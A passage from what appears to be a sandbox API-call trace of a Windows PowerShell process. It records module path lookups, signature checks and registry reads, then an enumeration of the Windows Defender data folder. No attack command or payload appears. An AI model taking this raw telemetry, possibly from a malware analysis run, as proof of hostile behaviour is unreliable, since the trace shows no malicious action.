lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0276.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7cbe8) returned 1 [0276.356] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1bb7cf10 | out: lpFileInformation=0x1bb7cf10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x9125726, ftLastWriteTime.dwHighDateTime=0x1d22fec, nFileSizeHigh=0x0, nFileSizeLow=0x9e9)) returned 1 [0276.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7cb98) returned 1 [0276.356] CoTaskMemAlloc (cb=0x10) returned 0x1ae037e0 [0276.357] CoTaskMemAlloc (cb=0x20) returned 0x1adf78d0 [0276.357] CoTaskMemAlloc (cb=0xf0) returned 0x1ade43e0 [0276.357] CoTaskMemAlloc (cb=0x50) returned 0x1ada7480 [0276.357] WinVerifyTrust () returned 0x800b0100 [0276.370] CoTaskMemFree (pv=0x1ae037e0) [0276.370] CoTaskMemFree (pv=0x1ada7480) [0276.370] CryptCATHandleFromStore () returned 0x1ade44e0 [0276.370] WTHelperGetProvSignerFromChain () returned 0x0 [0276.370] CoTaskMemAlloc (cb=0x10) returned 0x1ae037e0 [0276.370] CoTaskMemAlloc (cb=0x50) returned 0x1ada7480 [0276.370] WinVerifyTrust () returned 0x0 [0276.370] CoTaskMemFree (pv=0x1ada7480) [0276.370] CoTaskMemFree (pv=0x1ae037e0) [0276.370] CoTaskMemFree (pv=0x1ade43e0) [0276.370] CoTaskMemFree (pv=0x1adf78d0) [0276.380] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\en-US\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\en-us\\microsoft.powershell.management.psd1")) returned 0xffffffff [0276.380] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\en\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\en\\microsoft.powershell.management.psd1")) returned 0xffffffff [0276.380] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0276.380] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0276.381] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0276.381] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0276.409] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x67 [0276.409] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", nBufferLength=0x67, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x66 [0276.409] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7cc58) returned 1 [0276.409] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x1bb7cf80 | out: lpFileInformation=0x1bb7cf80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0276.409] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7cc08) returned 1 [0276.410] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0276.410] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Commands.Management.dll\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.commands.management.dll\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0276.410] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x1bb7caa0, nSize=0x80 | out: lpBuffer="") returned 0x77 [0276.414] GetFileAttributesW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WindowsPowerShell\\Modules" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\windowspowershell\\modules")) returned 0xffffffff [0276.424] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0276.424] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0276.425] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x54, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x53 [0276.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7c848) returned 1 [0276.425] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x1bb7cb70 | out: lpFileInformation=0x1bb7cb70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0276.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7c7f8) returned 1 [0276.428] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0276.432] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules")) returned 0x10 [0276.433] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0276.433] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x5c, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x5b [0276.433] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7c848) returned 1 [0276.433] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x1bb7cb70 | out: lpFileInformation=0x1bb7cb70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0276.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7c7f8) returned 1 [0276.437] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0276.699] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xa0 [0276.699] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0xa0, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f [0276.699] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xa0 [0276.699] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0xa0, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f [0276.699] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xa0 [0276.700] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0xa0, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f [0277.516] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x1bb7da38 | out: phkResult=0x1bb7da38*=0x408) returned 0x0 [0277.516] RegQueryValueExW (in: hKey=0x408, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1bb7da88, lpData=0x0, lpcbData=0x1bb7da80*=0x0 | out: lpType=0x1bb7da88*=0x1, lpData=0x0, lpcbData=0x1bb7da80*=0x56) returned 0x0 [0277.516] RegQueryValueExW (in: hKey=0x408, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1bb7da88, lpData=0x2886fc8, lpcbData=0x1bb7da80*=0x56 | out: lpType=0x1bb7da88*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x1bb7da80*=0x56) returned 0x0 [0277.516] RegCloseKey (hKey=0x408) returned 0x0 [0277.517] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x1bb7da38 | out: phkResult=0x1bb7da38*=0x408) returned 0x0 [0277.517] RegQueryValueExW (in: hKey=0x408, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1bb7da88, lpData=0x0, lpcbData=0x1bb7da80*=0x0 | out: lpType=0x1bb7da88*=0x1, lpData=0x0, lpcbData=0x1bb7da80*=0x56) returned 0x0 [0277.517] RegQueryValueExW (in: hKey=0x408, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1bb7da88, lpData=0x2887370, lpcbData=0x1bb7da80*=0x56 | out: lpType=0x1bb7da88*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x1bb7da80*=0x56) returned 0x0 [0277.517] RegCloseKey (hKey=0x408) returned 0x0 [0277.517] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x1bb7da38 | out: phkResult=0x1bb7da38*=0x408) returned 0x0 [0277.517] RegQueryValueExW (in: hKey=0x408, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1bb7da88, lpData=0x0, lpcbData=0x1bb7da80*=0x0 | out: lpType=0x1bb7da88*=0x1, lpData=0x0, lpcbData=0x1bb7da80*=0x56) returned 0x0 [0277.518] RegQueryValueExW (in: hKey=0x408, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1bb7da88, lpData=0x2887708, lpcbData=0x1bb7da80*=0x56 | out: lpType=0x1bb7da88*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x1bb7da80*=0x56) returned 0x0 [0277.518] RegCloseKey (hKey=0x408) returned 0x0 [0277.518] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x1bb7da38 | out: phkResult=0x1bb7da38*=0x408) returned 0x0 [0277.518] RegQueryValueExW (in: hKey=0x408, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1bb7da88, lpData=0x0, lpcbData=0x1bb7da80*=0x0 | out: lpType=0x1bb7da88*=0x1, lpData=0x0, lpcbData=0x1bb7da80*=0x56) returned 0x0 [0277.518] RegQueryValueExW (in: hKey=0x408, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1bb7da88, lpData=0x2887ab0, lpcbData=0x1bb7da80*=0x56 | out: lpType=0x1bb7da88*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x1bb7da80*=0x56) returned 0x0 [0277.518] RegCloseKey (hKey=0x408) returned 0x0 [0277.519] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x1bb7da68 | out: phkResult=0x1bb7da68*=0x408) returned 0x0 [0277.519] RegQueryValueExW (in: hKey=0x408, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1bb7dab8, lpData=0x0, lpcbData=0x1bb7dab0*=0x0 | out: lpType=0x1bb7dab8*=0x1, lpData=0x0, lpcbData=0x1bb7dab0*=0x56) returned 0x0 [0277.519] RegQueryValueExW (in: hKey=0x408, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1bb7dab8, lpData=0x2887e98, lpcbData=0x1bb7dab0*=0x56 | out: lpType=0x1bb7dab8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x1bb7dab0*=0x56) returned 0x0 [0277.519] RegCloseKey (hKey=0x408) returned 0x0 [0277.714] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x1bb7dc50*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x1bb7dc50*(Data1=0x2b04c40, Data2=0xf800, Data3=0x0, Data4=([0]=0xa7, [1]=0xe3, [2]=0x7a, [3]=0x3, [4]=0x6d, [5]=0xb0, [6]=0xd7, [7]=0x1))) returned 0x0 [0277.715] SetEvent (hEvent=0x404) returned 1 [0277.715] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1bb7ddf0*=0x404, lpdwindex=0x1bb7dbd4 | out: lpdwindex=0x1bb7dbd4) returned 0x0 [0277.716] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x1bb7dec0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0277.718] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0277.718] GetFileType (hFile=0xb) returned 0x2 [0277.719] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x1bb7e108 | out: lpMode=0x1bb7e108) returned 1 [0277.720] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x1bb7e0e8 | out: lpConsoleScreenBufferInfo=0x1bb7e0e8) returned 1 [0277.720] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x1bb7e0e8 | out: lpConsoleScreenBufferInfo=0x1bb7e0e8) returned 1 [0277.766] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x1bb7e5d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x1bb7e5d8*(Data1=0x2b04c40, Data2=0xf800, Data3=0x0, Data4=([0]=0xa8, [1]=0xe3, [2]=0x7a, [3]=0x3, [4]=0x6d, [5]=0xb0, [6]=0xd7, [7]=0x1))) returned 0x0 [0277.766] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x1bb7e4d0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x1bb7e4d0*(Data1=0x2b04c40, Data2=0xf800, Data3=0x0, Data4=([0]=0xa7, [1]=0xe3, [2]=0x7a, [3]=0x3, [4]=0x6d, [5]=0xb0, [6]=0xd7, [7]=0x1))) returned 0x0 [0277.766] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x1bb7e5c8*(Data1=0x2b04c40, Data2=0xf800, Data3=0x0, Data4=([0]=0xa8, [1]=0xe3, [2]=0x7a, [3]=0x3, [4]=0x6d, [5]=0xb0, [6]=0xd7, [7]=0x1)) | out: ActivityId=0x1bb7e5c8*(Data1=0x2b04c40, Data2=0xf800, Data3=0x0, Data4=([0]=0xa8, [1]=0xe3, [2]=0x7a, [3]=0x3, [4]=0x6d, [5]=0xb0, [6]=0xd7, [7]=0x1))) returned 0x0 [0277.837] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender" (normalized: "c:\\programdata\\microsoft\\windows defender")) returned 0x2010 [0277.848] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0277.848] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender", nBufferLength=0x2a, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender", lpFilePart=0x0) returned 0x29 [0277.848] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0277.849] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0277.849] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0277.849] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0277.849] GetFileAttributesW (lpFileName="C:\\ProgramData" (normalized: "c:\\programdata")) returned 0x2012 [0277.849] GetFileAttributesW (lpFileName="C:\\ProgramData" (normalized: "c:\\programdata")) returned 0x2012 [0277.849] GetFullPathNameW (in: lpFileName="C:\\ProgramData", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xf [0277.849] GetFullPathNameW (in: lpFileName="C:\\ProgramData", nBufferLength=0xf, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData", lpFilePart=0x0) returned 0xe [0277.850] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft" (normalized: "c:\\programdata\\microsoft")) returned 0x2014 [0277.850] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft" (normalized: "c:\\programdata\\microsoft")) returned 0x2014 [0277.850] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0277.850] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft", nBufferLength=0x19, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft", lpFilePart=0x0) returned 0x18 [0277.850] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender" (normalized: "c:\\programdata\\microsoft\\windows defender")) returned 0x2010 [0277.850] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender" (normalized: "c:\\programdata\\microsoft\\windows defender")) returned 0x2010 [0277.851] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0277.851] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender", nBufferLength=0x2a, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender", lpFilePart=0x0) returned 0x29 [0277.856] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0277.856] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender", nBufferLength=0x2a, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender", lpFilePart=0x0) returned 0x29 [0277.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e298) returned 1 [0277.859] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0277.859] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender", nBufferLength=0x2a, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender", lpFilePart=0x0) returned 0x29 [0277.859] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\*", lpFindFileData=0x1bb7e040 | out: lpFindFileData=0x1bb7e040*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1a4bec96, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1a4bec96, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae08140 [0277.861] FindNextFileW (in: hFindFile=0x1ae08140, lpFindFileData=0x1bb7e0e0 | out: lpFindFileData=0x1bb7e0e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1a4bec96, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1a4bec96, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.861] FindNextFileW (in: hFindFile=0x1ae08140, lpFindFileData=0x1bb7e0e0 | out: lpFindFileData=0x1bb7e0e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1fb3099, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x1fb3099, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Definition Updates", cAlternateFileName="DEFINI~1")) returned 1 [0277.863] FindClose (in: hFindFile=0x1ae08140 | out: hFindFile=0x1ae08140) returned 1 [0277.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e248) returned 1 [0277.865] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender" (normalized: "c:\\programdata\\microsoft\\windows defender")) returned 0x2010 [0277.865] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender" (normalized: "c:\\programdata\\microsoft\\windows defender")) returned 0x2010 [0277.865] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0277.865] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender", nBufferLength=0x2a, 